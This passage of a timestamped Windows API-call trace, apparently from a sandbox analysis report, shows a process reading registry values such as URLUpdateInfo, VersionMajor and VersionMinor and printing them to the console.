lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.479] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.479] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.479] __iob_func () returned 0x7fefd702a80 [0147.479] _fileno (_File=0x7fefd702ab0) returned 1 [0147.479] _errno () returned 0xc4bb0 [0147.479] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.479] _errno () returned 0xc4bb0 [0147.479] GetFileType (hFile=0x50) returned 0x1 [0147.479] lstrlenW (lpString="REG_SZ") returned 6 [0147.479] GetConsoleOutputCP () returned 0x1b5 [0147.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.479] GetConsoleOutputCP () returned 0x1b5 [0147.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.479] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.479] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.480] __iob_func () returned 0x7fefd702a80 [0147.480] _fileno (_File=0x7fefd702ab0) returned 1 [0147.480] _errno () returned 0xc4bb0 [0147.480] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.480] _errno () returned 0xc4bb0 [0147.480] GetFileType (hFile=0x50) returned 0x1 [0147.480] lstrlenW (lpString=" ") returned 4 [0147.480] GetConsoleOutputCP () returned 0x1b5 [0147.480] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.480] GetConsoleOutputCP () returned 0x1b5 [0147.480] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.480] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.480] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.480] __iob_func () returned 0x7fefd702a80 [0147.480] _fileno (_File=0x7fefd702ab0) returned 1 [0147.480] _errno () returned 0xc4bb0 [0147.480] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.480] _errno () returned 0xc4bb0 [0147.481] GetFileType (hFile=0x50) returned 0x1 [0147.481] lstrlenW (lpString="") returned 0 [0147.481] __iob_func () returned 0x7fefd702a80 [0147.481] _fileno (_File=0x7fefd702ab0) returned 1 [0147.481] _errno () returned 0xc4bb0 [0147.481] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.481] _errno () returned 0xc4bb0 [0147.481] GetFileType (hFile=0x50) returned 0x1 [0147.481] lstrlenW (lpString="\n") returned 1 [0147.481] GetConsoleOutputCP () returned 0x1b5 [0147.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.481] GetConsoleOutputCP () returned 0x1b5 [0147.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.481] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.481] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.481] GetProcessHeap () returned 0x2e0000 [0147.481] GetProcessHeap () returned 0x2e0000 [0147.481] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.481] GetProcessHeap () returned 0x2e0000 [0147.481] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.481] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.481] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.481] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.481] GetProcessHeap () returned 0x2e0000 [0147.481] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.482] GetProcessHeap () returned 0x2e0000 [0147.482] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.482] GetProcessHeap () returned 0x2e0000 [0147.482] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.482] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.482] __iob_func () returned 0x7fefd702a80 [0147.482] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.482] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.482] _fileno (_File=0x7fefd702ab0) returned 1 [0147.482] _errno () returned 0xc4bb0 [0147.482] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.482] _errno () returned 0xc4bb0 [0147.482] GetFileType (hFile=0x50) returned 0x1 [0147.482] lstrlenW (lpString=" ") returned 4 [0147.482] GetConsoleOutputCP () returned 0x1b5 [0147.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.482] GetConsoleOutputCP () returned 0x1b5 [0147.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.482] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.482] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.482] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.482] __iob_func () returned 0x7fefd702a80 [0147.482] _fileno (_File=0x7fefd702ab0) returned 1 [0147.482] _errno () returned 0xc4bb0 [0147.482] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.482] _errno () returned 0xc4bb0 [0147.482] GetFileType (hFile=0x50) returned 0x1 [0147.483] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.483] GetConsoleOutputCP () returned 0x1b5 [0147.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.483] GetConsoleOutputCP () returned 0x1b5 [0147.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0147.483] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.483] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.483] __iob_func () returned 0x7fefd702a80 [0147.483] _fileno (_File=0x7fefd702ab0) returned 1 [0147.483] _errno () returned 0xc4bb0 [0147.483] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.483] _errno () returned 0xc4bb0 [0147.483] GetFileType (hFile=0x50) returned 0x1 [0147.483] lstrlenW (lpString=" ") returned 4 [0147.483] GetConsoleOutputCP () returned 0x1b5 [0147.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.483] GetConsoleOutputCP () returned 0x1b5 [0147.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.483] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.483] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.484] __iob_func () returned 0x7fefd702a80 [0147.484] _fileno (_File=0x7fefd702ab0) returned 1 [0147.484] _errno () returned 0xc4bb0 [0147.484] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.484] _errno () returned 0xc4bb0 [0147.484] GetFileType (hFile=0x50) returned 0x1 [0147.484] lstrlenW (lpString="REG_SZ") returned 6 [0147.484] GetConsoleOutputCP () returned 0x1b5 [0147.484] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.484] GetConsoleOutputCP () returned 0x1b5 [0147.484] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.484] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.484] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.484] __iob_func () returned 0x7fefd702a80 [0147.484] _fileno (_File=0x7fefd702ab0) returned 1 [0147.484] _errno () returned 0xc4bb0 [0147.484] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.484] _errno () returned 0xc4bb0 [0147.484] GetFileType (hFile=0x50) returned 0x1 [0147.484] lstrlenW (lpString=" ") returned 4 [0147.484] GetConsoleOutputCP () returned 0x1b5 [0147.484] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.485] GetConsoleOutputCP () returned 0x1b5 [0147.485] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.485] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.485] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.485] __iob_func () returned 0x7fefd702a80 [0147.485] _fileno (_File=0x7fefd702ab0) returned 1 [0147.485] _errno () returned 0xc4bb0 [0147.485] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.485] _errno () returned 0xc4bb0 [0147.485] GetFileType (hFile=0x50) returned 0x1 [0147.485] lstrlenW (lpString="") returned 0 [0147.485] __iob_func () returned 0x7fefd702a80 [0147.485] _fileno (_File=0x7fefd702ab0) returned 1 [0147.485] _errno () returned 0xc4bb0 [0147.485] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.485] _errno () returned 0xc4bb0 [0147.485] GetFileType (hFile=0x50) returned 0x1 [0147.485] lstrlenW (lpString="\n") returned 1 [0147.485] GetConsoleOutputCP () returned 0x1b5 [0147.485] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.485] GetConsoleOutputCP () returned 0x1b5 [0147.485] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.485] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.485] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.486] GetProcessHeap () returned 0x2e0000 [0147.486] GetProcessHeap () returned 0x2e0000 [0147.486] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.486] GetProcessHeap () returned 0x2e0000 [0147.486] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.486] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.486] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.486] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.486] GetProcessHeap () returned 0x2e0000 [0147.486] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.486] GetProcessHeap () returned 0x2e0000 [0147.486] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.486] GetProcessHeap () returned 0x2e0000 [0147.486] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.486] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xe, pcbData=0x23f670*=0x4) returned 0x0 [0147.486] __iob_func () returned 0x7fefd702a80 [0147.486] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.486] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.486] _fileno (_File=0x7fefd702ab0) returned 1 [0147.486] _errno () returned 0xc4bb0 [0147.486] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.486] _errno () returned 0xc4bb0 [0147.486] GetFileType (hFile=0x50) returned 0x1 [0147.486] lstrlenW (lpString=" ") returned 4 [0147.486] GetConsoleOutputCP () returned 0x1b5 [0147.486] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.486] GetConsoleOutputCP () returned 0x1b5 [0147.487] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.487] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.487] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.487] lstrlenW (lpString="VersionMajor") returned 12 [0147.487] __iob_func () returned 0x7fefd702a80 [0147.487] _fileno (_File=0x7fefd702ab0) returned 1 [0147.487] _errno () returned 0xc4bb0 [0147.487] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.487] _errno () returned 0xc4bb0 [0147.487] GetFileType (hFile=0x50) returned 0x1 [0147.487] lstrlenW (lpString="VersionMajor") returned 12 [0147.487] GetConsoleOutputCP () returned 0x1b5 [0147.487] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.487] GetConsoleOutputCP () returned 0x1b5 [0147.487] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0147.487] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.487] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.487] __iob_func () returned 0x7fefd702a80 [0147.487] _fileno (_File=0x7fefd702ab0) returned 1 [0147.487] _errno () returned 0xc4bb0 [0147.487] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.487] _errno () returned 0xc4bb0 [0147.487] GetFileType (hFile=0x50) returned 0x1 [0147.487] lstrlenW (lpString=" ") returned 4 [0147.487] GetConsoleOutputCP () returned 0x1b5 [0147.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.488] GetConsoleOutputCP () returned 0x1b5 [0147.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.488] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.488] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.488] __iob_func () returned 0x7fefd702a80 [0147.488] _fileno (_File=0x7fefd702ab0) returned 1 [0147.488] _errno () returned 0xc4bb0 [0147.488] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.488] _errno () returned 0xc4bb0 [0147.488] GetFileType (hFile=0x50) returned 0x1 [0147.488] lstrlenW (lpString="REG_DWORD") returned 9 [0147.488] GetConsoleOutputCP () returned 0x1b5 [0147.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.488] GetConsoleOutputCP () returned 0x1b5 [0147.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.488] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.488] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.488] __iob_func () returned 0x7fefd702a80 [0147.489] _fileno (_File=0x7fefd702ab0) returned 1 [0147.489] _errno () returned 0xc4bb0 [0147.489] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.489] _errno () returned 0xc4bb0 [0147.489] GetFileType (hFile=0x50) returned 0x1 [0147.489] lstrlenW (lpString=" ") returned 4 [0147.489] GetConsoleOutputCP () returned 0x1b5 [0147.489] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.489] GetConsoleOutputCP () returned 0x1b5 [0147.489] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.489] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.489] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.489] __iob_func () returned 0x7fefd702a80 [0147.489] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.489] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xe") returned 3 [0147.489] _fileno (_File=0x7fefd702ab0) returned 1 [0147.489] _errno () returned 0xc4bb0 [0147.489] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.489] _errno () returned 0xc4bb0 [0147.489] GetFileType (hFile=0x50) returned 0x1 [0147.489] lstrlenW (lpString="0xe") returned 3 [0147.489] GetConsoleOutputCP () returned 0x1b5 [0147.489] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.490] GetConsoleOutputCP () returned 0x1b5 [0147.490] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xe", lpUsedDefaultChar=0x0) returned 3 [0147.490] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.490] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.490] __iob_func () returned 0x7fefd702a80 [0147.490] _fileno (_File=0x7fefd702ab0) returned 1 [0147.490] _errno () returned 0xc4bb0 [0147.490] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.490] _errno () returned 0xc4bb0 [0147.490] GetFileType (hFile=0x50) returned 0x1 [0147.490] lstrlenW (lpString="\n") returned 1 [0147.490] GetConsoleOutputCP () returned 0x1b5 [0147.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.491] GetConsoleOutputCP () returned 0x1b5 [0147.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.491] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.491] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.491] GetProcessHeap () returned 0x2e0000 [0147.491] GetProcessHeap () returned 0x2e0000 [0147.491] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.491] GetProcessHeap () returned 0x2e0000 [0147.491] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.491] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.491] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.491] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.491] GetProcessHeap () returned 0x2e0000 [0147.491] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.491] GetProcessHeap () returned 0x2e0000 [0147.491] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.491] GetProcessHeap () returned 0x2e0000 [0147.491] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.491] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xa, pcbData=0x23f670*=0x4) returned 0x0 [0147.491] __iob_func () returned 0x7fefd702a80 [0147.491] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.491] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.491] _fileno (_File=0x7fefd702ab0) returned 1 [0147.491] _errno () returned 0xc4bb0 [0147.491] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.491] _errno () returned 0xc4bb0 [0147.491] GetFileType (hFile=0x50) returned 0x1 [0147.491] lstrlenW (lpString=" ") returned 4 [0147.492] GetConsoleOutputCP () returned 0x1b5 [0147.492] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.492] GetConsoleOutputCP () returned 0x1b5 [0147.492] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", 